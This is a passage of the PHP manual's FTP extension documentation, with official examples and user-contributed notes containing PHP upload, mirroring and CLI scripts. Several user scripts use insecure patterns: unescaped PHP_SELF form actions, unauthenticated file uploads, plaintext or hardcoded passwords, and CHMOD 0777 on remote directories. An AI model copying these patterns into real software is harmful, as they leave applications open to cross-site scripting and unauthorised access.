    • ftp_mkdir — Creates a directory
    • ftp_nb_continue — Continues retrieving/sending a file (non-blocking)
    • ftp_nb_fget — Retrieves a file from the FTP server and writes it to an open file (non-blocking)
    • ftp_nb_fput — Stores a file from an open file to the FTP server (non-blocking)
    • ftp_nb_get — Retrieves a file from the FTP server and writes it to a local file (non-blocking)
    • ftp_nb_put — Stores a file on the FTP server (non-blocking)
    • ftp_nlist — Returns a list of files in the given directory
    • ftp_pasv — Turns passive mode on or off
    • ftp_put — Uploads a file to the FTP server
    • ftp_pwd — Returns the current directory name
    • ftp_quit — Alias of ftp_close
    • ftp_raw — Sends an arbitrary command to an FTP server
    • ftp_rawlist — Returns a detailed list of files in the given directory
    • ftp_rename — Renames a file or a directory on the FTP server
    • ftp_rmdir — Removes a directory
    • ftp_set_option — Set miscellaneous runtime FTP options
    • ftp_site — Sends a SITE command to the server
    • ftp_size — Returns the size of the given file
    • ftp_ssl_connect — Opens an Secure SSL-FTP connection
    • ftp_systype — Returns the system type identifier of the remote FTP server

User Contributed Notes

tendrid at gmail dot com 21-Sep-2011 09:15
For those who dont want to deal with handling the connection once created, here is a simple class that allows you to call any ftp function as if it were an extended method.  It automatically puts the ftp connection into the first argument slot (as all ftp functions require).

This code is php 5.3+

<?php
class ftp{
    public $conn;

    public function __construct($url){
        $this->conn = ftp_connect($url);
    }

    public function __call($func,$a){
        if(strstr($func,'ftp_') !== false && function_exists($func)){
            array_unshift($a,$this->conn);
            return call_user_func_array($func,$a);
        }else{
            // replace with your own error handler.
            die("$func is not a valid FTP function");
        }
    }
}

// Example
$ftp = new ftp('ftp.example.com');
$ftp->ftp_login('username','password');
var_dump($ftp->ftp_nlist());
?>
fam_suspend_monitor
Introduction
Other Services


Introduction

The functions in this extension implement client access to files servers speaking the File Transfer Protocol (FTP) as defined in » http://www.faqs.org/rfcs/rfc959. This extension is meant for detailed access to an FTP server providing a wide range of control to the executing script. If you only wish to read from or write to a file on an FTP server, consider using the ftp:// wrapper with the filesystem functions which provide a simpler and more intuitive interface.

User Contributed Notes

There are no user contributed notes for this page.
FTP
Installing/Configuring
FTP


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
FTP


Installation

In order to use FTP functions with your PHP configuration, you should add the --enable-ftp option when installing PHP.

The Windows version of PHP has built-in support for this extension. You do not need to load any additional extensions in order to use these functions.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Resource Types

This extension uses one resource type, which is the link identifier of the FTP connection, returned by ftp_connect() or ftp_ssl_connect().

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

FTP_ASCII (integer)

FTP_TEXT (integer)

FTP_BINARY (integer)

FTP_IMAGE (integer)

FTP_TIMEOUT_SEC (integer)

See ftp_set_option() for information.

The following constants were introduced in PHP 4.3.0.

FTP_AUTOSEEK (integer)

See ftp_set_option() for information.

FTP_AUTORESUME (integer)

Automatically determine resume position and start position for GET and PUT requests (only works if FTP_AUTOSEEK is enabled)

FTP_FAILED (integer)

Asynchronous transfer has failed

FTP_FINISHED (integer)

Asynchronous transfer has finished

FTP_MOREDATA (integer)

Asynchronous transfer is still active

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
FTP


Examples

Table of Contents

  • Basic usage

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Basic usage
FTP


Basic usage

Example #1 FTP example

<?php
// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// check connection
if ((!$conn_id) || (!$login_result)) {
    echo "FTP connection has failed!";
    echo "Attempted to connect to $ftp_server for user $ftp_user_name";
    exit;
} else {
    echo "Connected to $ftp_server, for user $ftp_user_name";
}

// upload the file
$upload = ftp_put($conn_id, $destination_file, $source_file, FTP_BINARY);

// check upload status
if (!$upload) {
    echo "FTP upload has failed!";
} else {
    echo "Uploaded $source_file to $ftp_server as $destination_file";
}

// close the FTP stream
ftp_close($conn_id);
?>

User Contributed Notes

kane dot prajakta at gmail dot com 14-Jan-2010 02:53
I used following code successfully to connect to "lftp" server and see the complete dir listing.
also ftp_pasv($conn_id, true); trick works fine for lftp server :)

<?php
// set up basic connection
$ftp_server = "example.com";
$conn_id = ftp_ssl_connect($ftp_server);

// login with username and password
$ftp_user_name = "myuser";
$ftp_user_pass = "mypass";
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
ftp_pasv($conn_id, true);
// check connection
if ((!$conn_id) || (!$login_result)) {
        echo "FTP connection has failed!";
        echo "Attempted to connect to $ftp_server for user $ftp_user_name";
        exit;
    } else {
        echo "Connected to $ftp_server, for user $ftp_user_name";
    }

$buff = ftp_rawlist($conn_id, '.');
 var_dump($buff);
ftp_close($conn_id);
?>

Thanks ,
Prajakta
clemensroth2004 at yahoo dot de 08-Jul-2009 03:06
My FTP-Server always responded "bool(false)" instead of presenting me a directory-listing. I had to add
ftp_pasv($conn_id, true); right after the $login_result = ftp_login(...); line.
After that it just worked fine.
Examples
FTP Functions
Examples


FTP Functions

Table of Contents

  • ftp_alloc — Allocates space for a file to be uploaded
  • ftp_cdup — Changes to the parent directory
  • ftp_chdir — Changes the current directory on a FTP server
  • ftp_chmod — Set permissions on a file via FTP
  • ftp_close — Closes an FTP connection
  • ftp_connect — Opens an FTP connection
  • ftp_delete — Deletes a file on the FTP server
  • ftp_exec — Requests execution of a command on the FTP server
  • ftp_fget — Downloads a file from the FTP server and saves to an open file
  • ftp_fput — Uploads from an open file to the FTP server
  • ftp_get_option — Retrieves various runtime behaviours of the current FTP stream
  • ftp_get — Downloads a file from the FTP server
  • ftp_login — Logs in to an FTP connection
  • ftp_mdtm — Returns the last modified time of the given file
  • ftp_mkdir — Creates a directory
  • ftp_nb_continue — Continues retrieving/sending a file (non-blocking)
  • ftp_nb_fget — Retrieves a file from the FTP server and writes it to an open file (non-blocking)
  • ftp_nb_fput — Stores a file from an open file to the FTP server (non-blocking)
  • ftp_nb_get — Retrieves a file from the FTP server and writes it to a local file (non-blocking)
  • ftp_nb_put — Stores a file on the FTP server (non-blocking)
  • ftp_nlist — Returns a list of files in the given directory
  • ftp_pasv — Turns passive mode on or off
  • ftp_put — Uploads a file to the FTP server
  • ftp_pwd — Returns the current directory name
  • ftp_quit — Alias of ftp_close
  • ftp_raw — Sends an arbitrary command to an FTP server
  • ftp_rawlist — Returns a detailed list of files in the given directory
  • ftp_rename — Renames a file or a directory on the FTP server
  • ftp_rmdir — Removes a directory
  • ftp_set_option — Set miscellaneous runtime FTP options
  • ftp_site — Sends a SITE command to the server
  • ftp_size — Returns the size of the given file
  • ftp_ssl_connect — Opens an Secure SSL-FTP connection
  • ftp_systype — Returns the system type identifier of the remote FTP server

User Contributed Notes

spam at kacke dot de 28-Mar-2008 09:46
Here is a FTP-abstraction-class which supports the most commands.

Also it works on TLS, SSLv2 etc. by using stream_crypto_enable()

http://kacke.de/php_samples/source.php?f=ftp.cls.php

Many thanks to WEZ at this point after all the years :-)

Toppi
adityabhai at gmail dot com 10-Jan-2008 01:23
Here is the way you can do it:
First of all, copy paste the code in your php file.

Then run your script on the Server where you want to execute your code:

Fill in the Forms:
1) Server Path or IP like abc.com/1.2.3.4 only.
2) FTP Username
3) FTP Password
4) FTP Path, where you want to put the file, check the Folder permission first.

<?php
  //-- SMTP Mail Function  By Aditya Bhatt
  if(isset($_POST['SubmitFile'])){
      $myFile = $_FILES['txt_file']; // This will make an array out of the file information that was stored.
      $file = $myFile['tmp_name'];  //Converts the array into a new string containing the path name on the server where your file is.

      $myFileName = basename($_FILES['txt_file']['name']); //Retrieve filename out of file path

      $destination_file = $_REQUEST['filepath'].$myFileName;
      #"/developers/uploadftp/aditya/".$myFileName;  //where you want to throw the file on the webserver (relative to your login dir)

      // connection settings
      $ftp_server = trim($_REQUEST['serverip']);  //address of ftp server.
      $ftp_user_name = trim($_REQUEST['username']); // Username
      $ftp_user_pass = trim($_REQUEST['password']);   // Password

      $conn_id = ftp_connect($ftp_server) or die("<span style='color:#FF0000'><h2>Couldn't connect to $ftp_server</h2></span>");        // set up basic connection
      #print_r($conn_id);
      $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass) or die("<span style='color:#FF0000'><h2>You do not have access to this ftp server!</h2></span>");   // login with username and password, or give invalid user message
      if ((!$conn_id) || (!$login_result)) {  // check connection
             // wont ever hit this, b/c of the die call on ftp_login
             echo "<span style='color:#FF0000'><h2>FTP connection has failed! <br />";
             echo "Attempted to connect to $ftp_server for user $ftp_user_name</h2></span>";
             exit;
         } else {
         //    echo "Connected to $ftp_server, for user $ftp_user_name <br />";
      }

      $upload = ftp_put($conn_id, $destination_file, $file, FTP_BINARY);  // upload the file
      if (!$upload) {  // check upload status
         echo "<span style='color:#FF0000'><h2>FTP upload of $myFileName has failed!</h2></span> <br />";
      } else {
         echo "<span style='color:#339900'><h2>Uploading $myFileName Completed Successfully!</h2></span><br /><br />";
      }

      ftp_close($conn_id); // close the FTP stream
  }
?>

<html>
  <head></head>
  <body>
        <form enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF'];?>" method="POST">
            Server IP Address: <input name="serverip" type="text" id="serverip" size="15" value=""/><br>
            Server Username: <input name="username" type="text" id="username" size="15" value=""/><br>
            Server Password: <input name="password" type="text" id="password" size="15" value=""/><br>
            Server File Path: <input name="filepath" type="text" id="filepath" size="35" value=""/><br>
            Please choose a file: <input name="txt_file" type="file" id="txt_file" tabindex="1" size="35" onChange="txt_fileName.value=txt_file.value" /><br><br>
            <input name="txt_fileName" type="hidden" id="txt_fileName" tabindex="99" size="1" />

            <input type="submit" name="SubmitFile" value="Upload File" accesskey="ENTER" tabindex="2" />
      </form>
  </body>
</html>

Enjoy..
dot a dot@dot dot com 17-Sep-2007 08:49
This took me a few hours to work out. It is based on the code below I've just added a string replace to convert pathname given by Windows to Unix pathname. Hope it saves somebody some time. Enjoy! (Also, delete file function is included:))

<?php
$myFile = $_FILES['file']; // This will make an array out of the file information that was stored.
    $file = $myFile['tmp_name'];  //Converts the array into a new string containing the path name on the server where your file is.
    $myFileName = $_POST['MyFile']; //Retrieve file path and file name
    $myfile_replace = str_replace('\\', '/', $myFileName);    //convert path for use with unix
    $myfile = basename($myfile_replace);    //extract file name from path
    $destination_file = "/".$myfile;  //where you want to throw the file on the webserver (relative to your login dir)
    // connection settings
    $ftp_server = "127.0.0.1";  //address of ftp server (leave out ftp://)
    $ftp_user_name = ""; // Username
    $ftp_user_pass = "";   // Password
    $conn_id = ftp_connect($ftp_server);        // set up basic connection
    // login with username and password, or give invalid user message
    $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass) or die("<h1>You do not have access to this ftp server!</h1>");
    $upload = ftp_put($conn_id, $destination_file, $file, FTP_BINARY);  // upload the file
    if (!$upload) {  // check upload status
        echo "<h2>FTP upload of $myFileName has failed!</h2> <br />";
    }
/*
    // try to delete $file
    if (ftp_delete($conn_id, $destination_file)) {
        echo "$destination_file has been deleted!\n";
    } else {
        echo "Could not delete $destination_file!\n";
    }
*/
ftp_close($conn_id); // close the FTP stream
}
?>
<form name="form" enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST" >
Please choose a file: <input type="file" name="file" accept="text/plain" onChange="MyFile.value=file.value">
<input name="MyFile" type="hidden" id="MyFile" tabindex="99" size="1" />
<input type="submit" name="submit" value="upload" style="vertical-align:middle"/><br/><br/>
</form>
chris at faktortel dot com dot au 08-Jul-2007 03:47
I had some major problems running ftp_connect from my Web Browser and not from the CLI from 1 server and yet from another Internal server I had no trouble at all. After a few hours I figured out this was because SELINUX was enabled on one server and DISABLED on the server that it worked on.

So in short, if you are having trouble with connecting in your Web Browser make sure you have HTTPD connect's enabled in it like so at the command prompt:

; Turns it on temporarily.
/usr/sbin/setsebool httpd_can_network_connect=1

; Turns it on Permenantly
/usr/sbin/setsebool -P httpd_can_network_connect=1

I hope this helps make someones life a little easier. :)
(I actually found this fix on the fopen manual page).
ras "at" fyn {dot} dk 26-Jan-2007 01:11
A function to get a remote file and return it's contents, instead of saving to a local file, was missing - here it is:

function ftp_fetch($ftp_stream, $remote_file) {
    ob_end_flush();
    ob_start();
    $out = fopen('php://output', 'w');
    if (!ftp_fget($ftp_stream, $out, $remote_file, FTP_ASCII)) die('Unable to get file: ' . $remote_file);
    fclose($out);
    $data = ob_get_clean();
    return $data;
}

It works the same as ftp_get(), but instead returns the contents of the remote file - for example:

$ftp = ftp_connect('my.server.com', 21, 60);
ftp_login($ftp, 'username', 'password');
$data = ftp_fetch($ftp, 'path/to/remote.file');
echo $data;

Note, I use it to fetch text-files from a server - if you need to fetch binary files, change FTP_ASCII to FTP_BINARY .. but most likely, getting files to memory is only useful for smaller files, e.g. plain text, xml, etc.
breese at pipetech dot tv 29-Dec-2006 09:02
I fixed the below upload script to work with Windows uploads (and updated some of the syntax). I also added a Javascript "progress indicator" for those of us who don't use PHP 5.2

<?php
if(isset($_POST['start_upload']) && $_FILES['txt_file']['name'] != ""){

    $local_file = $_FILES['txt_file']['tmp_name']; // Defines Name of Local File to be Uploaded

    $destination_file = "/".basename($_FILES['txt_file']['name']);  // Path for File Upload (relative to your login dir)

    // Global Connection Settings
    $ftp_server = "127.0.0.1";      // FTP Server Address (exlucde ftp://)
    $ftp_user_name = "username";     // FTP Server Username
    $ftp_user_pass = "password";      // Password

    // Connect to FTP Server
    $conn_id = ftp_connect($ftp_server);
    // Login to FTP Server
    $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

    // Verify Log In Status
    if ((!$conn_id) || (!$login_result)) {
        echo "FTP connection has failed! <br />";
        echo "Attempted to connect to $ftp_server for user $ftp_user_name";
        exit;
    } else {
        echo "Connected to $ftp_server, for user $ftp_user_name <br />";
    }

    $upload = ftp_put($conn_id, $destination_file, $local_file, FTP_BINARY);  // Upload the File

    // Verify Upload Status
    if (!$upload) {
        echo "<h2>FTP upload of ".$_FILES['txt_file']['name']." has failed!</h2><br /><br />";
    } else {
        echo "Success!<br />" . $_FILES['txt_file']['name'] . " has been uploaded to " . $ftp_server . $destination_file . "!<br /><br />";
    }

    ftp_close($conn_id); // Close the FTP Connection
}
?>

<html>
    <head>
        <script type="text/javascript">
            window.onload = function() {
                document.getElementById("progress").style.visibility = "hidden";
                document.getElementById("prog_text").style.visibility = "hidden";
            }

            function dispProgress() {
                document.getElementById("progress").style.visibility = "visible";
                document.getElementById("prog_text").style.visibility = "visible";
            }

        </script>

    </head>
    <body>
        <form action="<?php echo $_SERVER['PHP_SELF'];?>" method="POST" enctype="multipart/form-data">
            Please choose a file: <input name="txt_file" type="file" size="35" />
            <input type="submit" name="start_upload" value="Upload File" onClick="dispProgress()" />
        </form>

        <!-- Link to progress file: see http://www.ajaxload.info/ for animated gifs -->
        <img id="progress" src="http://www.your.site/images/progress.gif" />
        <p id="prog_text" style="display:inline;"> Upload Started!</p>

    </body>
<html>
cgray at premierconsulting dot com (Chris Gray) 24-Oct-2006 08:58
After looking everywhere for a "FULLY WORKING" ftp uploader script, I finally came up with this, by using a lot of various one’s I found on the web. If you find a better way of doing something, please let me know. Thanks, and Enjoy

<?php
  if(isset($_POST['SubmitFile'])){
      $myFile = $_FILES['txt_file']; // This will make an array out of the file information that was stored.
      $file = $myFile['tmp_name'];  //Converts the array into a new string containing the path name on the server where your file is.

      $myFileName = basename($_POST['txt_fileName']); //Retrieve filename out of file path

      $destination_file = "/".$myFileName;  //where you want to throw the file on the webserver (relative to your login dir)

      // connection settings
      $ftp_server = "127.0.0.1";  //address of ftp server.
      $ftp_user_name = "Your UserName"; // Username
      $ftp_user_pass = "Your Password";   // Password

      $conn_id = ftp_connect($ftp_server);        // set up basic connection
      $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass) or die("<h2>You do not have access to this ftp server!</h2>");   // login with username and password, or give invalid user message
      if ((!$conn_id) || (!$login_result)) {  // check connection
             // wont ever hit this, b/c of the die call on ftp_login
             echo "FTP connection has failed! <br />";
             echo "Attempted to connect to $ftp_server for user $ftp_user_name";
             exit;
         } else {
         //    echo "Connected to $ftp_server, for user $ftp_user_name <br />";
      }

      $upload = ftp_put($conn_id, $destination_file, $file, FTP_BINARY);  // upload the file
      if (!$upload) {  // check upload status
         echo "<h2>FTP upload of $myFileName has failed!</h2> <br />";
      } else {
         echo "Uploading $myFileName Complete!<br /><br />";
      }

      ftp_close($conn_id); // close the FTP stream
  }
?>

<html>
  <head>

  </head>
  <body>
        <form enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF'];?>" method="POST">
            Please choose a file: <input name="txt_file" type="file" id="txt_file" tabindex="1" size="35" onChange="txt_fileName.value=txt_file.value" />
            <input name="txt_fileName" type="hidden" id="txt_fileName" tabindex="99" size="1" />

            <input type="submit" name="SubmitFile" value="Upload File" accesskey="ENTER" tabindex="2" />
      </form>
  </body>
<html>
nicklas at programmera dot nu 15-Aug-2006 02:56
I didn't quite like my FTP program since I had to make all the settings all over when i restarted the client, so I made this script for simple ftp uploading, its running as a CLI app.

<?php

    //if STDIN isn't defined, define it
    if (!defined("STDIN"))
    {

        define("STDIN", fopen("php://stdin", "r"));

    }

    echo "FTP file uploader\r\n\r\n";

    echo "Server: ";

    //trim() all the fgets cause it seams to add a \n
    $server = trim(fgets(STDIN));

    echo "Username: ";

    $username = trim(fgets(STDIN));

    echo "Password: ";

    $password = trim(fgets(STDIN));

    $connect = ftp_connect($server);
    $login = ftp_login($connect, $username, $password);

    if ((!$connect) || (!$login))
    {

        exit("Login failed.\r\n");

    }

    echo "Connected\r\n";

    echo "PASV (Y/Any key = Off): ";

    if(trim(fgets(STDIN)) == "Y")
    {

        //enable passive mode
        ftp_pasv($connect, true);

            echo "PASV: On\r\n";

    }
    else
    {

        echo "PASV: Off\r\n";

    }

    $showContent = ftp_nlist($connect, "");

    echo "Listing Contents:\r\n";

        var_dump($showContent);

    echo "File to upload: ";

    $file = trim(fgets(STDIN));

    //escape the uploading process by typing "exit;"
    if ($file == "exit;")
    {

        exit;

    }

    //use "$file, $file" since the file shouldn't be renamed, also if its a binary file change the last argument to FTP_BINARY
    $upload = ftp_put($connect, $file, $file, FTP_ASCII);

    if (!$upload)
    {

        exit("Upload failed.\r\n");

    }
    else
    {

        echo "The file \"" . $file . "\" was successfully uploaded. :)\r\nSize of \"" . $file . "\": " . filesize($file) / 1024 ."kb.\r\n";
        echo "My work is done, bye.\r\n";

    }

    ftp_close($connect);

?>
magic2lantern at mail dot ru 23-Dec-2005 08:19
This is a simple script writen by me which allows the user
run it in console and get tree from FTP Server.

<?php
$argv = $_SERVER["argv"];
$argv = array_slice($argv,1);
if (getenv("HTTP_HOST")) {exit("For bash execution only!");}
if ((empty($argv[0])) || (empty($argv[1]))) {exit("Usage: thisscript.php 10.0.0.10 /games/Arcade/
where 10.0.0.10 is the FTP Server and /games/Arcade is the start path on FTP\n");}

// connect to the ftp server
$connect_id = ftp_connect($argv[0]);
// login on the server
if ($connect_id) { $login_result = ftp_login($connect_id, 'anonymous', 'JustForFun'); }
// check connection
if ((!$connect_id) || (!$login_result)) {
   echo "Unable to connect the remote FTP Server!\n";
   exit;
}
function ftp_get_dir ($ftp_dir) {
global $connect_id;
$ftp_contents = ftp_nlist ($connect_id, $ftp_dir);
    for ($myCounter_for_server_elements = 0; !empty ($ftp_contents[$myCounter_for_server_elements]);
$myCounter_for_server_elements++)
    {
// get elements list in current dir
        echo $argv[0] . $ftp_dir . $ftp_contents[$myCounter_for_server_elements] . "\n";
        ftp_get_dir ($ftp_dir . $ftp_contents[$myCounter_for_server_elements] . '/');
    }
}
ftp_get_dir ($argv[1]);
// close connection
ftp_close($connect_id);
?>
leonardo at rol dot com dot ro 09-Aug-2005 06:51
Here is an example for downloading a remote ftp structure to local server, useful for migrating sites from one server to another, especially when you are upgrading ensim ;)

http://leonardo.rol.ro/ftpleech.txt
dickiedyce at uk dot com 07-May-2005 08:20
It may seem obvious to others, but it had me stumped for nearly an hour! If you can connect to an ftp site but some functions (list, put, get etc) don't work, then try using ftp_pasv and set passive mode on.

<?php

// setup $host and $file variables for your setup before here...

$hostip = gethostbyname($host);
$conn_id = ftp_connect($hostip);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// IMPORTANT!!! turn passive mode on
ftp_pasv ( $conn_id, true );

if ((!$conn_id) || (!$login_result)) {
  echo "FTP connection has failed!";
  echo "Attempted to connect to $host for user $ftp_user_name";
  die;
} else {
  echo "Connected to $host, for user $ftp_user_name<br>";
  echo "Host IP is $hostip<br>";

  // upload a file
  if (ftp_put($conn_id, $remote_file, $file, FTP_ASCII)) {
    echo "successfully uploaded $file<br>";
  } else {
    echo "There was a problem while uploading $file<br>";
  }

  // close the connection
  ftp_close($conn_id);
}
?>
arjen at queek dot nl 15-Jul-2004 07:38
If you prefer a OO-approach to the FTP-functions, you can use this snippet of code (PHP5 only! and does add some overhead). It's just a "start-up", extend/improve as you wish...
You can pass all ftp_* functions to your object and stripping ftp_ of the function name. Plus, you don't have to pass the ftp-resource as the first argument.

For example:
<?php
ftp_delete($ftp, $file);    // Where $ftp is your ftp-resource
?>

Can become:
<?php
$ftp->delete($file);        // Where $ftp is your FTP-object
?>

Code:
<?php

class FTP {

    private $ftp;

    /* public Void __construct(): Constructor */
    public function __construct($host, $port = 21, $timeout = 90) {
        $this->ftp = ftp_connect($host, $port, $timeout);
    }

    /* public Void __destruct(): Destructor */
    public function __destruct() {
        @ftp_close($this->ftp);
    }

    /* public Mixed __call(): Re-route all function calls to the PHP-functions */
    public function __call($function, $arguments) {
        // Prepend the ftp resource to the arguments array
        array_unshift($arguments, $this->ftp);

        // Call the PHP function
        return call_user_func_array('ftp_' . $function, $arguments);
    }

}

?>
Kristy Christie (kristy at isp7 dot net) 15-Jun-2004 11:50
Here's a little function that I created to recurse through a local directory and upload the entire contents to a remote FTP server.

In the example, I'm trying to copy the entire "iwm" directory located at /home/kristy/scripts/iwm to a remote server's /public_html/test/ via FTP.

The only trouble is that for the line "if (!ftp_chdir($ftpc,$ftproot.$srcrela))", which I use to check if the directory already exists on the remote server, spits out a warning about being unable to change to that directory if it doesn't exist.

But an error handler should take care of it.

My thanks to the person who posted the snippet on retrieving the list of files in a directory.

For the version of the script that echo's it's progress as it recurses & uploads, go to: http://pastebin.com/73784

<?php

// --------------------------------------------------------------------
// THE TRIGGER
// --------------------------------------------------------------------

    // set the various variables
    $ftproot = "/public_html/test/";
    $srcroot = "/home/kristy/scripts/";
    $srcrela = "iwm/";

    // connect to the destination FTP & enter appropriate directories both locally and remotely
    $ftpc = ftp_connect("ftp.mydomain.com");
    $ftpr = ftp_login($ftpc,"username","password");

    if ((!$ftpc) || (!$ftpr)) { echo "FTP connection not established!"; die(); }
    if (!chdir($srcroot)) { echo "Could not enter local source root directory."; die(); }
    if (!ftp_chdir($ftpc,$ftproot)) { echo "Could not enter FTP root directory."; die(); }

    // start ftp'ing over the directory recursively
    ftpRec ($srcrela);

    // close the FTP connection
    ftp_close($ftpc);

// --------------------------------------------------------------------
// THE ACTUAL FUNCTION
// --------------------------------------------------------------------
function ftpRec ($srcrela)
{
    global $srcroot;
    global $ftproot;
    global $ftpc;
    global $ftpr;

    // enter the local directory to be recursed through
    chdir($srcroot.$srcrela);

    // check if the directory exists & change to it on the destination
    if (!ftp_chdir($ftpc,$ftproot.$srcrela))
    {
        // remote directory doesn't exist so create & enter it
           ftp_mkdir    ($ftpc,$ftproot.$srcrela);
           ftp_chdir    ($ftpc,$ftproot.$srcrela);
    }

    if ($handle = opendir("."))
    {
       while (false !== ($fil = readdir($handle)))
       {
           if ($fil != "." && $fil != "..")
           {
               // check if it's a file or directory
               if (!is_dir($fil))
               {
                   // it's a file so upload it
                   ftp_put($ftpc, $ftproot.$srcrela.$fil, $fil, FTP_BINARY);
                }
                else
                {
                    // it's a directory so recurse through it
                    if ($fil == "templates")
                    {
                            // I want the script to ignore any directories named "templates"
                            // and therefore, not recurse through them and upload their contents
                    }
                    else
                    {
                        ftpRec ($srcrela.$fil."/");
                        chdir ("../");
                    }
                }
          }
      }
      closedir($handle);
    }
}
?>
postmaster at alishomepage dot com 24-Jan-2004 03:29
I have written an OpenSource ZIP2FTP interface, which actually takes a given ZIP file and decompresses it in the folder on an FTP server you specify...

Therefore it may be quite interesting for you people interested in FTP, its adress is http://zip2ftp.alishomepage.com ; those who directly want the source may visit http://zip2ftp.alishomepage.com/?do=getSource
Vikrant Korde <vakorde at hotmail dot com> 14-Nov-2003 05:35
<?

//If you want to move or replicate the folder hierarchy from your current server to another remote server. Then this will be helpful as this will browse the current server's directory and at the same time it will copy that file in the remote server in the same directory.

//This script will copy all the files from this directory and subdirectory to another remote server via FTP

function rec_copy ($source_path, $destination_path, $con)
{
    ftp_mkdir($con, $destination_path);
    ftp_site($con, 'CHMOD 0777 '.$destination_path);
    ftp_chdir($con,$destination_path);

    if (is_dir($source_path))
    {
        chdir($source_path);
        $handle=opendir('.');
        while (($file = readdir($handle))!==false)
        {
            if (($file != ".") && ($file != ".."))
            {
                if (is_dir($file))
                {
                    // here i am restricting the folder name 'propertyimages' from being copied to remote server. -- VK
                    if($file != "propertyimages")
                    {
                        rec_copy ($source_path."/".$file, $file, $con);
                        chdir($source_path);
                        ftp_cdup($con);
                    }
                }
                if (is_file($file))
                {
                    $fp = fopen($file,"r");
                    // this will convert spaces to '_' so that it will not throw error.  -- VK
                    ftp_fput ($con, str_replace(" ", "_", $file), $fp,FTP_BINARY);
                    ftp_site($con, 'CHMOD 0755 '.str_replace(" ", "_", $file));
                }
            }
        }
        closedir($handle);
    }
}

// make a FTP connection --VK
$con = ftp_connect("69.18.213.131",21);
$login_result = ftp_login($con,"username","password");

// this is the root path for the remote server-- VK
$rootpath = "mainwebsite_html";

// this is the physical path of the source directory. actually u can also use the relative path. -- VK
$sourcepath = realpath("../")."/resdesk";

// this directory name will only change the top most directory and not the inner one -- VK
$destination_dir_name = "resdesk_".$account_id."/";

rec_copy ($sourcepath, $destination_dir_name, $con);
if (function_exists("ftp_close"))
{
    ftp_close($con);
}
?>
postmaster at alishomepage dot com 24-Oct-2003 04:06
Here's another FTP interface over PHP (also uses MySQL)

http://myftp.alishomepage.com

PS: this script will ALSO allow you to download its source... So it becomes interesting for YOU PROGRAMMERS as well :D
NOSPAMkent at ioflux dot NOSPAM dot com 19-Sep-2002 05:05
I think what some other posts were trying to say which may need clarification is that in PHP 4.2.3, ftp_connect("myhost.com") was failing most of the time, except it would work like every few minutes.

The fix is that ftp_connect seems to have a bug resolving addresses. If you do:

$hostip = gethostbyname($host);
$conn_id = ftp_connect($hostip);

It seems to solve the problem.
(Other users referred to an ftpbuf() error... not sure what that is, but this should fix it.)
sven at cartell-network dot de 13-Feb-2002 11:27
connection to a ftp server across proxy

$ftp_server = "proxy"; f.e. 123.456.789.10
$ftp_user_name = "username@ftpserver"; f.e. exampleuk@www.example.uk
$ftp_user_pass = "password";

$conn_id = ftp_connect($ftp_server, 2121);
$login_result = ftp_login( $conn_id, $ftp_user_name, $ftp_user_pass );
Basic usage
ftp_alloc
FTP


Allocates space for a file to be uploaded

FTP Functions
ftp_cdup
FTP Functions
PHP Manual

ftp_alloc

(PHP 5)

ftp_alloc — Allocates space for a file to be uploaded

Description

bool ftp_alloc ( resource $ftp_stream , int $filesize [, string &$result ] )

Sends an ALLO command to the remote FTP server to allocate space for a file to be uploaded.

Note:

Many FTP servers do not support this command. These servers may return a failure code (FALSE) indicating the command is not supported or a success code (TRUE) to indicate that pre-allocation is not necessary and the client should continue as though the operation were successful. Because of this, it may be best to reserve this function for servers which explicitly require preallocation.

Parameters

ftp_stream

The link identifier of the FTP connection.

filesize

The number of bytes to allocate.

result

A textual representation of the servers response will be returned by reference in result if a variable is provided.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 ftp_alloc() example

<?php

$file = "/home/user/myfile";

// connect to the server
$conn_id = ftp_connect('ftp.example.com');
$login_result = ftp_login($conn_id, 'anonymous', 'user@example.com');

if (ftp_alloc($conn_id, filesize($file), $result)) {
  echo "Space successfully allocated on server.  Sending $file.\n";
  ftp_put($conn_id, '/incomming/myfile', $file, FTP_BINARY);
} else {
  echo "Unable to allocate space on server.  Server said: $result\n";
}

ftp_close($conn_id);

?>

See Also

  • ftp_put() - Uploads a file to the FTP server
  • ftp_fput() - Uploads from an open file to the FTP server

User Contributed Notes

adams[AT]techweavers[DOT]net 21-Jun-2005 02:32
This function is nice but like the ftp_size function it too has a flaw if your file is larger then 2.1Gb or 2.1 Billion Btyes it cannot be properly allocated.
FTP Functions
ftp_cdup
FTP Functions


Changes to the parent directory

ftp_alloc
ftp_chdir
FTP Functions
PHP Manual

ftp_cdup

(PHP 4, PHP 5)

ftp_cdup — Changes to the parent directory

Description

bool ftp_cdup ( resource $ftp_stream )

Changes to the parent directory.

Parameters

ftp_stream

The link identifier of the FTP connection.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 ftp_cdup() example

<?php
// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// change the current directory to html
ftp_chdir($conn_id, 'html');

echo ftp_pwd($conn_id); // /html

// return to the parent directory
if (ftp_cdup($conn_id)) {
  echo "cdup successful\n";
} else {
  echo "cdup not successful\n";
}

echo ftp_pwd($conn_id); // /

ftp_close($conn_id);
?>

See Also
